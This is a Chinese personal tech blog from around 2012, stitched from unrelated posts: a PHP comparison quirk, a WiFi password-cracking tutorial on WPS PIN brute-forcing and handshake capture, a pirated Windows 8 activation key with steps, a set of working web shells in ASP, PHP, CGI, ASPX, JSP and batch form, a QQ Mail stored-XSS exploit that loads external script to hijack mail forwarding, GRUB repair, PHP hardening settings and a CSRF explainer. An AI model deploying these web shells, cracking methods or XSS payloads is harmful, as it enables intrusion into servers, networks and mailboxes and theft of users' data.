2012年8月

今天在写php的时候,偶然发现一个特别好玩的事情,具体代码如下:

$a = 0;
if($a == 'abc'){
   echo 'true';
}else{
   echo 'false';
}

怎么样,代码看上去很简单吧?  所以呢?输出结果是 "false" ?  

NO,NO,NO 没那么简单,大家可以自己试一下,这段代码的输出结果是 “true” !!  真的!!


就是这样一段代码,折腾了我一上午,始终没有弄明白 这个 ‘0’ 怎么能和 ‘abc’相等呢?

后来换个几个数字发现,只有0返回‘true’,其他数字返回‘false’。。。。

而且0还可以和null相等。。。。

这一度让我感觉我的世界观是错误的?!!


后来还好有高人之路,终于把这一段迷惑给解开了,下面来分享一下:


这是因为一个数字和一个字符串进行比较,PHP会把字符串转换成数字再进行比较

PHP转换的规则的是:若字符串以数字开头,则取开头数字作为转换结果,若无则输出0

例如:123abc转换后应该是123,而abc则为00==0这当然是成立的啦!

具体可以参见PHP官方手册:比较运算符

嗯嗯,事情的经过就是这样,希望能给有同样困惑的童鞋一点帮助哈~

再贴一个参考链接:php中的类型转换规则

嗯嗯,就这么多啦~ 

00x00 前言

*为什么我会买8187?

前几个月,家里被停了宽带,按奈不住,打电话给小区外面的整电脑的地方,他们那里竟然有卡皇买,没多想就买了下来.(貌似当时被坑得挺厉害的.
8187芯片 淘宝卖也不超过60.那奸商竟然卖给我300 [有小雷达天线 那货能值多少!!]还说给我优惠了 原价480 各位要入手的注意了哦)
 
00x01 破解前准备
1.Vmware虚拟机(加载cdlnux.iso)
1.cdlinux.iso(文章底部提供下载) 如果想锻炼自己的,可以选用BT6进行测试,那是更专业的研究平台
3.8187l or 3070 芯片的外置网卡一张(教程使用8187l网卡测试)
4.安装网卡驱动(提供8187驱动下载)
 
 
00x02 灌输理论
>.插个话:路由器加密方式 WPA-PSK/WPA2-PSK ; WPA/WPA2 ; WEP 这3种加密方式.
                现在看到加密方式是WEP的路由器估计会很开心,因为WEP加密很容易破,成功率很高.
                     但是随着安全问题的发展 现在使用WEP加密的密码越来越少了,更多人选择安全性相对更高的
                     WPA/WPA2方式的加密了.强悍了很多,但是既然出现了也不是说破不了滴.
                     一个新技术的产生,也不排除带有新的漏洞问题产生
 
>..继续科普:(据我所知)击破WPA2加密方式的方法 
                           1.对开启Qss功能的AP进行Pin码,从00000000穷举到99999999
                           2.对AP进行抓包,当有设备合法加入目标AP时,截获设备与路由器的握手包,然后破解数据包里的密码,俗称跑包.
 
这两种方法是在我看来是应对WPA2加密方式的比较行得通的(如果还有更好的,欢迎留言分享)
 
 
00x03 实践开始[击破WPA2加密无线信号]
刚刚婆妈了一堆,没想到自己还有那么婆妈的一面(其实还有些没写,如果写就要写很多了,童鞋们都困了,有兴趣的自己去查阅相关的资料呗 推荐个专门研究无线的论坛:AnyWlan.com ) 
 
>.新建一个虚拟机安装CDlinux,这部分就跳过.不会的自己摸索安装
因为我使用的是 OSX 的系统 用的Vm虚拟机版本与Window上的版本会有出入,但问题不大.
 
进入CDlinux的界面,插入网卡,点击运行 minidewp-gtk (俗称:小雨滴)
左上角无线网卡那一栏如果显示出网卡名称的话,则表示识别网卡,即可下一步.(如果没有显示则需检查一下虚拟机是否连接usb网卡.貌似win版本的虚拟机的连接按钮在右下角有个USB图标的点击一下)
 
 
 
>.点击扫描,稍等片刻,附近的WiFi热点将会列出来.
可能因为是小区,房屋比较密集,所以能搜到挺多的信号.
说明下在什么情况使用什么样的破解方式.
 
 
[启动] 按钮为抓包模式:当有无线设备连入路由器时,产生的数据将被获取
[Reaver] 按钮为Pin码模式:对目标路由器进行穷举Pin(前提路由器开启了WPS),直到正确的Pin码出现,即能快速得到路由器的PSK密匙
也就是WiFi密码
 
想要更好的破解密码,就要先了解两种方式的优劣之处,以便自己更好的,花更少的时间去破解密码
 
*穷举Pin码模式:加密方式后面带有wps的,就可以使用Pin码. 
点击启动即可开始Pin.
 
 
 
>.提示:Pin码这东西,是拼运气,拼耐心的.如果运气好,是1开头的Pin码就很快就能破出密码了,如果是9开头的那就耐心的等咯.
Pin个两三天的都大有人在,所以必须是需要耐心,只要能Pin,就一定有密码,而且不管用户怎么改密码,只要不改Pin,都可以用
Pin码拿到WiFi密码.
  
 
  优点:只要能Pin通,密码就能到手,且不需要客户端连接路由器.多数路由器默认开启wps
  缺点:耗时长,根据Pin码开头数字,运气差跑个2-3天也是有可能的,且容易把路由器Pin死.
 
 
*抓包模式:使用抓包时,假设对方路由器有设备连接,是抓包的最好时机.
在AP加密方式后面跟着Mac地址 就可以使用抓包.因为这时正有客户端连接.(如:已经抓到了数据包,可以用软件自带的密码跑,如果运气好就能跑出来,一般我都是发到AnyWlan的论坛让有强悍字典的童鞋跑密码)
 
 
 
 
 
 
>.提示:如果要自己跑密码的同学则需下载EWSA和自备字典啦~
  截个跑出刚刚那个路由器的密码
 
 
 
 
  优点:在目标路由器没QSS功能或者关闭的时候相比Pin模式,容易抓到包,运气好密码也很快破出来.
  缺点:路由器长时间没设备连接;好不容易跑出的包,密码太强悍,字典跑不出.
 
  *腾达某款某Mac地址能算出路由器的Pin码
  适用于MAC地址前6位为“C83A35/00B00C”的无线路由器
  为了确保Pin的真实性,最好用 Inflator (俗称:打气筒) 进行验证一下,顺便跑出PSK密码,一般输入计算出来的前五位数
  接下来就交给打气筒跑,这样才能更好的保证密码出来.
 
 
有了Pin码可以直接用8187软件连接,网卡驱动已打包.
 
 
 
 
  00x04 总结
 
  两种方式,供大家参考.
  对于卡皇附带的那个雷达小天线(定向天线,我已经无力吐槽了,外形很不带感,而且辐射应该不小,每次我一插上,不一会脑袋就会晕晕的
  很明显,包装盒写这18db 估计也是唬人的,应该没那么高.但是各种恶心的感觉直逼大脑.于是我就把小雷达定向天线换成了一根6db的全向天线,
  那种令我恶心的感觉瞬间没有,然后测试了下效果,感觉还不错.后期的破解工作都是交给这根全向天线去处理.)
  个人建议,受不了那种感觉的,可以换全向天线试试,40cm 9db 的全向天线也是不错的.至于破解的效果我就不敢保证了,影响破解的因素有很多.
 
  
  如果破解成功的童鞋,希望文明蹭网,不要在正常时间下载电影,之类占用大量宽带资源的行为,一是对自己的行为的一种规范,二是对方觉得网速慢了到时把密码一改或者换更强悍的手段来防御,那多得不偿失.(如果真需要下载,请尽量安排在12点以后,夜深人静,下手...)
 
  原创文章,写了挺久的.有遗漏的地方,欢迎留言指出;如有不明白的地方也可以留言询问.我一定会详细解答~
 
 
 



工具下载

http://pan.baidu.com/share/link?shareid=6127&uk=3827780712



                                                                        转自:http://gov.com.im/art_design/2012/0823/Crack-WiFi-PassWord.html 

今天终于把我这蛋疼的win8给激活了,哈哈哈哈,好东西,不独享,分享出来给还没激活的童鞋们点帮助,嘿嘿,快快激活去吧~

 

Key:NB7P3-C66T2-848FB-M3BJB-2PKVC


过程:
①:请先接好麦克风,很重要!【无论好坏,不然会提示No key pressed. 大概意思就是没有按下按键】
②:然后设置Key : 用管理员权限命令提示符,输入 slmgr.vbs -ipk NB7P3-C66T2-848FB-M3BJB-2PKVC ,然后稍等会提示设置密匙成功.
③:安装好Skype,注册账号,然后断开网络. 
④:接着右击计算机,属性,拉到最后,点击“在windows激活中查看详细信息”,打开windows激活,然后点击“电话激活”
⑤:国家要选英国!记住要选英国! 接着会有有一个窗口打开!
⑥:这时,连接网络 ,打开skype ,按“拨打电话”,然后点击国旗,转换到英国国旗,接着输入号码:800 0188 354(直接输入,空格不用管)
⑦:接通后,等待6秒,按一次数字键“1”,接着又等待6秒,再按一次数字键“1”
⑧:接着就会提示(可在听到first后)输入第一组号码(就是步骤二里面的那组数据),每次输完会提示thank you 接着输入下面一组
⑨:最后一组输完后,听到People这个单词(或等待10多秒后)后输入“1”,然后等待
⑩:会提示用户记录从A到H的数据
11.用笔 或记事本 把数据 记下来,每组都会重复播报两边,以便核对.
12.最后播报完毕,在语音提示中后段听到one按数字键“1”可重新收听一遍。 
13.将得到的号码按顺序A-H输入进去,激活成功。

    (好吧,我承认我愣了老半天才听出来“*”键和“#”键来。。。。,*号键是重复,#号键是继续)

注意:①:【必须要插入麦克风,不然服务器那边无法接收到按键数据的】
②:【记住要断网,不然不会出现电话激活选项】
③:【记得要选英国】

 

  嗯嗯,就这样就激活成功了,哇哈哈哈哈,原来四级没过也可以激活win8呀~(好吧,我继续去奋斗四级去。。。)

  不过,我本本的合盖重启这个毛病还是没有解决,有没有好心的大牛来告诉我一下呀~  求指导~

 嗯嗯,就这样吧,各位童鞋,加油喽~

Cmd Shell ASP/ASPX/JSP/PHP/CGICmd Shell ASP版本执行命令:<br>

<%

Dim oScript

Dim oScriptnet

Dim oFileSys, oFile

Dim szCMD,szTempFile

szCMD=request.form(".cmd")

'从输入框得到cmd

On Error Resume Next

'如果出现错误,直接跳过,防止弹出错误窗口

set oScript=server.createobject("WSCRIPT.SHELL")

'建立shell(wshshell)对象

set oFileSys=server.createobject("scripting.filesystemobject")

szTempFile="C:\"& oFileSys.GetTempName()

'GetTempName()是fso建立临时文件的一种方法

Call oScript.Run ("cmd.exe /c "& szCMD &">" &szTempFile,0,true)

'调用wshshell函数的run来执行命令,并把它重定向到临时文件夹中

set oFile=oFileSys.OpenTextFile(szTempFile,1,False,0)

'以读的方式打开临时文件

%>

<HTML>

<body bgcolor="#C0C0C0" text="#000000">

<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">

<input type=text name=".CMD" size=45 value="<%= szCMD %>">

<input type=submit value="好了" class=input>

</FORM>

<PRE>

<%

On Error Resume Next

response.write server.HTMLEncode(oFile.ReadAll)

'输出编码后的文件内容

oFile.close

'关闭文件

call oFileSys.DeleteFile(szTempFile,True)

'防止被抓住所以删除文件

%>

</body>

</html>



Cmd Shell PHP版本1

cmd.php

<?php

$phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!");

$exec=$phpwsh->exec("cmd.exe /c ".$_GET['cmd']."");

$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAll();

echo $stroutput;

?>

用法:http://127.0.0.1/cmd.php?cmd=ver

 

Cmd Shell PHP版本2

<html>

<head>

<title>CMD命令行PHP版</title>

<body bgcolor="c0c0c6" text="ffffff">

<center><font size=3 face="黑体" color=red>CMD命令行PHP版</font><br><font size=2 color="000000">by heiyeluren</font><br><br>

<FORM METHOD=POST ACTION="<? echo $PHP_SELF ?>">

<INPUT TYPE="text" NAME="cmd">

<INPUT TYPE="submit" value="执行"> <INPUT TYPE="reset" value="重写">

</FORM>

</center>

<hr>

<font size=2 color="000000">

<?php

if(empty($cmd)) { //判断有没有输入命令

echo "没有输入任何命令!";

} elseif(!is_string($cmd)) { //判断变量是不是字符

echo "你输入的不是命令,请重新输入!";

} else {

echo `$cmd`; //执行获得的变量(命令)

}

?>

</font>

</body>

</html>



Cmd Shell PHP版本3

<FORM ACTION="sys.php" METHOD=POST>

Command: <INPUT TYPE=TEXT NAME=cmd>

<INPUT TYPE=SUBMIT VALUE="Run">

<FORM>

<PRE>

<?php

   if(isset($cmd)) {

       system($cmd);

   }

?>

<PRE>

 

Cmd Shell CGI版本1

use CGI qw(:standard);

print header(-charset=>gb2312);

$cmd=param("cmd");

$out=`$cmd 2>&1`;

print start_form,textfield("cmd",$cmd,60);

print end_form;

print pre($out);



Cmd Shell CGI版本2

#!/usr/bin/perl

require "cgi-lib.pl";

print &PrintHeader;

print "<FORM ACTION=perl_shell.cgi METHOD=GET>\n";

print "<INPUT NAME=cmd TYPE=TEXT>\n";

print "<INPUT TYPE=SUBMIT VALUE=Run>\n";

print "</FORM>\n";

&ReadParse(*in);

if($in{'cmd'} ne "") {

   print "<PRE>\n$in{'cmd'}\n\n";

   print `/bin/bash -c "$in{'cmd'}"`;

   print "</PRE>\n";

}

 

Cmd Shell ASPX版本

<%@ Page Language="C#" Debug="true" Trace="false" %>

<%@ Import Namespace="System.Diagnostics" %>

<%@ Import Namespace="System.IO" %>

<script Language="c#" runat="server">

void Page_Load(object sender, EventArgs e)

{          

}

string ExcuteCmd(string arg)

{

    ProcessStartInfo psi = new ProcessStartInfo();

    psi.FileName = "cmd.exe";

    psi.Arguments = "/c "+arg;

    psi.RedirectStandardOutput = true;

    psi.UseShellExecute = false;

    Process p = Process.Start(psi);

    StreamReader stmrdr = p.StandardOutput;

    string s = stmrdr.ReadToEnd();

    stmrdr.Close();

    return s;

}

void cmdExe_Click(object sender, System.EventArgs e)

{

    Response.Write("<pre>");

    Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));

    Response.Write("</pre>");

}

</script>

<HTML>

<HEAD>

   <title>awen asp.net webshell</title> 

</HEAD>

<body >

   <form id="cmd" method="post" runat="server">  

    <asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>

    <asp:Button id="执行" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>

    <asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">输入命令:</asp:Label>

   </form>

</body>

</HTML>

 

Cmd Shell JSP版本

<FORM METHOD=GET ACTION='cmdexec.jsp'>

<INPUT name='cmd' type=text>

<INPUT type=submit value='Run'>

</FORM>

<%@ page import="java.io.*" %>

<%

   String cmd = request.getParameter("cmd");

   String output = "";

   if(cmd != null) {

      String s = null;

      try {

         Process p = Runtime.getRuntime().exec(cmd);

         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));

         while((s = sI.readLine()) != null) {

            output += s;

         }

      }

      catch(IOException e) {

         e.printStackTrace();

      }

   }

%>

<pre>

<%=output %>

</pre>

 

Cmd Shell Bat版本

echo ^<^% > cmdasp.asp

echo Dim oScript, oScriptNet, oFileSys, oFile, szCMD, szTempFile >> cmdasp.asp

echo On Error Resume Next >> cmdasp.asp

echo Set oScript = Server.CreateObject(^"WSCRIPT.SHELL^") >> cmdasp.asp

echo Set oScriptNet = Server.CreateObject(^"WSCRIPT.NETWORK^") >> cmdasp.asp

echo Set oFileSys = Server.CreateObject(^"Scripting.FileSystemObject^")

     >> cmdasp.asp

echo szCMD = Request.Form(^".CMD^") >> cmdasp.asp

echo If (szCMD ^<^> ^"^") Then >> cmdasp.asp

echo szTempFile = ^"C:\^" & oFileSys.GetTempName() >> cmdasp.asp

echo Call oScript.Run(^"cmd.exe /c ^" ^& szCMD ^& ^" ^> ^" ^& szTempFile,0,True)

     >> cmdasp.asp

echo Set oFle = oFileSys.OpenTextFile(szTempFile,1,False,0) >> cmdasp.asp

echo End If >> cmdasp.asp

echo ^%^> >> cmdasp.asp

echo ^<FORM action=^"^<^%= Request.ServerVariables(^"URL^") ^%^>^" method=^"POST^"^>

     >> cmdasp.asp

echo ^<input type=text name=^".CMD^" size=70 value=^"^<^%= szCMD ^%^>^"^> >> cmdasp.asp

echo ^<input type=submit value=^"Run^"^> >> cmdasp.asp

echo ^</FORM^> >> cmdasp.asp

echo ^<PRE^> >> cmdasp.asp

echo ^<^% >> cmdasp.asp

echo If (IsObject(oFile)) Then >> cmdasp.asp

echo On Error Resume Next >> cmdasp.asp

echo Response.Write Server.HTMLEncode(oFile.ReadAll) >> cmdasp.asp

echo oFile.Close >> cmdasp.asp

echo Call oFileSys.DeleteFile(szTempFile, True) >> cmdasp.asp

echo End If >> cmdasp.asp

echo ^%^> >> cmdasp.asp

echo ^<^/PRE^> >> cmdasp.asp


小博主这两天刚装了个win8,一开始感觉还听不错的,但是后来发现一个比较严重的问题,本本只要一合盖win8就自觉重启,然后就默认进入了另一个系统了。。。  这个让博主甚是郁闷,多次向度娘,谷姐求助未果,不知道有没有大神帮忙指点一下呀~ 送本站VIP一枚哦~

 

 

PS:今天看到有从搜索进到这篇日志的童鞋,我表示有和我一样问题的童鞋可以去升级一下系统补丁,小博主表示自己的已经好了~

只漂流瓶向你飘了过来。。它飘来的可能是对美好生活的向往,可能是对世俗的抱怨,可能是某局长发来的某某某,它,还有可能是XSS!。漂流瓶,作为一项个人认为是“娱乐”的功能,却放在了QQ邮箱这种涉及到个人隐私和私密信息的系统里,一旦存在漏洞,将会导致QQ邮箱本身的安全防护荡然无存。在这个帖子里,我给大家演示的就是,当漂流瓶这个娱乐功能存在存储型XSS之后,对邮箱这个核心功能所带来的影响。 同学们~ 还敢玩漂流瓶么? 当你打开一个漂流瓶之后,QQ号码信息,邮箱里的小秘密就被我知道了,会是一种什么感觉呢?

1. 漏洞成因:漂流瓶某处参数过滤不当,导致存储型XSS。

具体测试过程:

1.1 发送一个漂流瓶,并使用漂流瓶的录音功能。

1.2 定位到发送的漂流上,F12打开调试工具看代码。

1.3 同时查看抓包的代码,可以看到相同内容。

1.4 进而进行字符测试,测试使用\u0022\u003E时,发生侧漏

1.5 说明这里对反斜线的过滤存在问题。

1.6 进一步构造我们的利用代码。下面仅贴出部分源码。

请求时的利用代码



var serv="恶意外部JS文件所在服务器";

var mail2rec="接受转发的邮箱";

var mailUin="发送恶意漂流瓶的Hacker QQ";

var evil_code="voice_21121721212136.mp3\\u0022\\u003e\\u003cimg src=1 onerror=\\u0022loadJSSrc(\\u0027"+serv+"?u="+mail2rec+"\\u0026i="+mailUin+"\\u0027);this.style.display=\\u0027none\\u0027\\u0022\\u003e\\u003cb a=\\u0022";

进行修改邮箱转发设置及传播时,自动扔回大海,删除瓶子等代码



@see http://itsokla.duapp.com/qq_piaoliuping_xss_code.txt

代码中,所用到的pkav Object 见 http://itsokla.duapp.com/pkav.js (from http://pkav.net)

2. 因为成因并不是很复杂,这里主要强调后续利用带来的影响。

邮箱业务和漂流瓶处于同一域名下。就算是cookie加了保护,我们也可以直接通过ajax对邮箱的数据进行操作。因而这里带来的危害是很明显的。

3. 我们以设置邮箱转发作为危害实例。根据缺陷,我们构造好利用代码,并编写利用工具。

4. 在我们发送带有恶意代码的漂流瓶之后,打开我们的收件邮箱,可以看到受害者的邮箱被设置转发了。

5. 这里以我的小号做邮件转发测试,向我的受害者小号发送邮件之后,我们可以在收信箱里看到我们“监听”收到的邮件~

6. 当然上面只是第一级的危害。我们还可以进一步扩大危害范围。

7. 配合cookies收集,我们很容易从cookies里得到受害者的QQ号码信息。进而通过QQ资料获取更多的信息。以便下一步进行攻击!

8. 这里再“假设”受害者同时是微博的用户,或者百度的用户,由于微博或者百度官方通常会发一些系统提醒邮件,这个时候我们可以进一步获取受害人信息。(其实不用假设,经过取样分析,这种情况是很常见的。):

那么我们如果利用百度的密码找回功能。

可以看到我们就可以收到对方的密码修改邮件,从而实现密码的修改。

10. 上面只是以百度作为例子,现在的密码找回功能,很多都是与邮箱挂钩的!而当前许多用户都是使用的QQ邮箱,因而会威胁到用户其它网站的安全。

11. 由于是同域,我们甚至可以伪装受害者向受害者的朋友发送欺诈邮件,由于是二次攻击,信任关系增强,危害将会变得更大。

12. 当然,漂流瓶这个蠕虫,还有个特点,就是利用漂流瓶自己的传播功能,自发蠕虫,隐蔽,不易被发现。

13. 我们不难看到,一个娱乐圈的混进了行政圈,带来了多么严重操蛋的后果啊!!

修复方法:

1. 修复XSS问题。

2. 建议将漂流瓶这个功能与邮箱进行业务隔离。以免因小失大!

3. 建议将“邮件转发”这种涉及到邮件安全的设置动作,加上验证码操作,以防止由于普通XSS而导致的后门功能!


摘自:暗月博客

前天下午下了一个win8 RTM版的镜像,然后昨天就开始了我辉煌的win8的革新时代。。。。

快中午的时候,把我的小本本打开了,进入那个已经不堪入目的win7。。。。  好吧,开始升级。。。。。

选择了升级到win8之后,就出去吃饭去了,吃完饭回来。。。。- -!  悲剧鸟。。。。 黑屏,还是一直黑着。。。。  好吧,包大人,你赢了~ 强制关机,然后,天啊~  这个难道就是可爱的win8欢迎动画?!  然后。。。。  好吧,包大人,我求你了,别来烦我了。。。黑屏着,重启着。。。。  NND,以后装系统的时候再也不出去了。。。

下午把本本带到了办公室里,借了一张盘,把C盘直接格掉,重新装了一遍,哇哈哈哈~  我的小win8,终于见到你了~ 但是我知道我的另一个系统肯定又被软禁在硬盘里了(本人的win和linux双系统),算了,先不管你了,先爽一下win8,手贱贱的去安装了一个360,- -! 。。。。  死机了。。。  我的win8又一次离我而去。。。  度娘了一下,原来以前的360不兼容win8,安装必挂。。。。

想尽办法修复,都以失败告终,得,算了,再重装一遍。。。。。重新上了一下360 的网站,确定新版兼容win8了以后才鼓起勇气下了一个360装了上去,OK~  还活着~ 继续把我可爱的小A装上,一切安好~ 然后就回宿舍了。。。。

今天早上来仔细度娘了一把,怎么把软禁的linux解封出来,嗯嗯,小有收获,这里贴出来,分享下~



简要步骤如下:

1、进入Ubuntu Live CD的Try Ubuntu

打开附件(Accessories)-》终端(terminal)


$sudo -i


拿到root权限

然后用fdisk命令把分区情况看清楚

2、挂载Linux分区到/mnt,我的Linux分区在sda5


#mount /dev/sda5 /mnt


然后


#mount –bind /dev /mnt/dev


挂载工作完毕,chroot到原来的Ubuntu里


#chroot /mnt


安装Grub记录到硬盘MBR


#grub-install /dev/sda


提示Installation finished,No Error Reported就OK

重启后就可以见到Grub界面了,进入Ubuntu运行


#update-grub


重建Windows8的引导项,就可以引导Windows8了


哇哈哈哈~  linux解封后心情很好呀~

然后就去了一下那个梦想中的win8的应用商店~  我去~  不是吧,连不上?! 纳尼? 继续度娘,貌似要登录到Microsoft的帐号才行,换了帐号,还是连不上。。。。 - -! 这是要干什么啊。。。。  继续翻,看到一个方法:

快捷键win+x,以管理员身份运行CMD,输入:


netsh winhttp import proxy source=ie


试了一下。。。  你妹~ 怎么还不好使。。。。  继续翻度娘,无意中看到一条,貌似小A的实时防护会影响大应用商店,关了小A的实时防护,天啊,终于打开了~  内牛满面~ 

好啦,一上午算是有些收获,现在还比较遗憾的一点就是还没激活,貌似以前的激活方法都失效了,很期待新的激活方法啊~  

嗯嗯,先写到这儿,希望能给那些和我一样新上手win8的朋友一点帮助~


(1) 打开php的安全模式



php的安全模式是个非常重要的内嵌的安全机制,能够控制一些php中的函数,比如system(),

同时把很多文件操作函数进行了权限控制,也不允许对某些关键文件的文件,比如/etc/passwd,

但是默认的php.ini是没有打开安全模式的,我们把它打开:

safe_mode = on





(2) 用户组安全



当safe_mode打开时,safe_mode_gid被关闭,那么php脚本能够对文件进行访问,而且相同

组的用户也能够对文件进行访问。

建议设置为:



safe_mode_gid = off



如果不进行设置,可能我们无法对我们服务器网站目录下的文件进行操作了,比如我们需要

对文件进行操作的时候。





(3) 安全模式下执行程序主目录



如果安全模式打开了,但是却是要执行某些程序的时候,可以指定要执行程序的主目录:



safe_mode_exec_dir = D:/usr/bin



一般情况下是不需要执行什么程序的,所以推荐不要执行系统程序目录,可以指向一个目录,

然后把需要执行的程序拷贝过去,比如:



safe_mode_exec_dir = D:/tool/exe



但是,我更推荐不要执行任何程序,那么就可以指向我们网页目录:



safe_mode_exec_dir = D:/usr/www





(4) 安全模式下包含文件



如果要在安全模式下包含某些公共文件,那么就修改一下选项:



safe_mode_include_dir = D:/usr/www/include/



其实一般php脚本中包含文件都是在程序自己已经写好了,这个可以根据具体需要设置。





(5) 控制php脚本能访问的目录



使用open_basedir选项能够控制PHP脚本只能访问指定的目录,这样能够避免PHP脚本访问

不应该访问的文件,一定程度上限制了phpshell的危害,我们一般可以设置为只能访问网站目录:



open_basedir = D:/usr/www





(6) 关闭危险函数



如果打开了安全模式,那么函数禁止是可以不需要的,但是我们为了安全还是考虑进去。比如,

我们觉得不希望执行包括system()等在那的能够执行命令的php函数,或者能够查看php信息的

phpinfo()等函数,那么我们就可以禁止它们:



disable_functions = system,passthru,exec,shell_exec,popen,phpinfo



如果你要禁止任何文件和目录的操作,那么可以关闭很多文件操作





disable_functions=chdir,chroot,dir,getcwd,opendir,readdir,scandir,fopen,unlink,delete,



copy,mkdir,rmdir,rename,file,file_get_contents,fputs,fwrite,chgrp,chmod,chown



以上只是列了部分不叫常用的文件处理函数,你也可以把上面执行命令函数和这个函数结合,

就能够抵制大部分的phpshell了。





(7) 关闭PHP版本信息在http头中的泄漏



我们为了防止黑客获取服务器中php版本的信息,可以关闭该信息斜路在http头中:



expose_php = Off



比如黑客在 telnet www.target.com 80 的时候,那么将无法看到PHP的信息。





(8) 关闭注册全局变量



在PHP中提交的变量,包括使用POST或者GET提交的变量,都将自动注册为全局变量,能够直接访问,

这是对服务器非常不安全的,所以我们不能让它注册为全局变量,就把注册全局变量选项关闭:

register_globals = Off

当然,如果这样设置了,那么获取对应变量的时候就要采用合理方式,比如获取GET提交的变量var,

那么就要用$_GET['var']来进行获取,这个php程序员要注意。





(9) 打开magic_quotes_gpc来防止SQL注入



SQL注入是非常危险的问题,小则网站后台被入侵,重则整个服务器沦陷,



所以一定要小心。php.ini中有一个设置:



magic_quotes_gpc = Off



这个默认是关闭的,如果它打开后将自动把用户提交对sql的查询进行转换,

比如把 ' 转为 '等,这对防止sql注射有重大作用。所以我们推荐设置为:



magic_quotes_gpc = On





(10) 错误信息控制



一般php在没有连接到数据库或者其他情况下会有提示错误,一般错误信息中会包含php脚本当

前的路径信息或者查询的SQL语句等信息,这类信息提供给黑客后,是不安全的,所以一般服务器建议禁止错误提示:



display_errors = Off



如果你却是是要显示错误信息,一定要设置显示错误的级别,比如只显示警告以上的信息:



error_reporting = E_WARNING & E_ERROR



当然,我还是建议关闭错误提示。





(11) 错误日志



建议在关闭display_errors后能够把错误信息记录下来,便于查找服务器运行的原因:



log_errors = On



同时也要设置错误日志存放的目录,建议根apache的日志存在一起:



error_log = D:/usr/local/apache2/logs/php_error.log



注意:给文件必须允许apache用户的和组具有写的权限。





MYSQL的降权运行



新建立一个用户比如mysql



net user mysql mysql /add



net localgroup users mysql /del



不属于任何组



如果MYSQL装在d:mysql ,那么,给 mysql 完全控制的权限,然后在系统服务中设置,MYSQL的服务属性,在登录属性当中,选择此用户 mysql 然后输入密码,确定。重新启动 MYSQL服务,然后MYSQL就运行在低权限下了。



apache的降权运行



在windows平台下搭建的apache默认运行是system权限,给apache降降权限。



net user apache apche /add



net localgroup users apache /del



我们建立了一个不属于任何组的用户apche。



我们打开计算机管理器,选服务,点apache服务的属性,我们选择log on,选择this account,我们填入上面所建立的账户和密码,重启apache服务,ok,apache运行在低权限下了。



实际上我们还可以通过设置各个文件夹的权限,来让apache用户只能执行我们想让它能干的事情,给每一个目录建立一个单独能读写的用户。

一.CSRF是什么?

CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。

二.CSRF可以做什么?

你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全。

三.CSRF漏洞现状

CSRF这种攻击方式在2000年已经被国外的安全人员提出,但在国内,直到06年才开始被关注,08年,国内外的多个大型社区和交互网站分别爆出CSRF漏洞,如:NYTimes.com(纽约时报)、Metafilter(一个大型的BLOG网站),YouTube和百度HI......而现在,互联网上的许多站点仍对此毫无防备,以至于安全业界称CSRF为“沉睡的巨人”。

四.CSRF的原理

下图简单阐述了CSRF攻击的思想:

点击查看原图

从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤

1.登录受信任网站A,并在本地生成Cookie

2.在不登出A的情况下,访问危险网站B

看到这里,你也许会说:“如果我不满足以上两个条件中的一个,我就不会受到CSRF的攻击”。是的,确实如此,但你不能保证以下情况不会发生:

1.你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站。

2.你不能保证你关闭浏览器了后,你本地的Cookie立刻过期,你上次的会话已经结束。(事实上,关闭浏览器不能结束一个会话,但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了......)

3.上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。

 

上面大概地讲了一下CSRF攻击的思想,下面我将用几个例子详细说说具体的CSRF攻击,这里我以一个银行转账的操作作为例子(仅仅是例子,真实的银行网站没这么傻:>)

示例1:

银行网站A,它以GET请求来完成银行转账的操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000

危险网站B,它里面有一段HTML的代码如下:

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

首先,你登录了银行网站A,然后访问危险网站B,噢,这时你会发现你的银行账户少了1000块......

为什么会这样呢?原因是银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中的<img>以GET的方式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的Cookie发出Get请求,去获取资源“http://www.mybank.com/Transfer.php?toBankId=11&money=1000”,结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作......

示例2:

为了杜绝上面的问题,银行决定改用POST请求完成转账操作。

银行网站A的WEB表单如下:

<form action="Transfer.php" method="POST">
<p>ToBankId: <input type="text" name="toBankId" /></p>
<p>Money: <input type="text" name="money" /></p>
<p><input type="submit" value="Transfer" /></p>
</form>

后台处理页面Transfer.php如下:

<?php
session_start();
if (isset($_REQUEST['toBankId'] && isset($_REQUEST['money']))
{
    buy_stocks($_REQUEST['toBankId'], $_REQUEST['money']);
}
?>

危险网站B,仍然只是包含那句HTML代码:

<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>

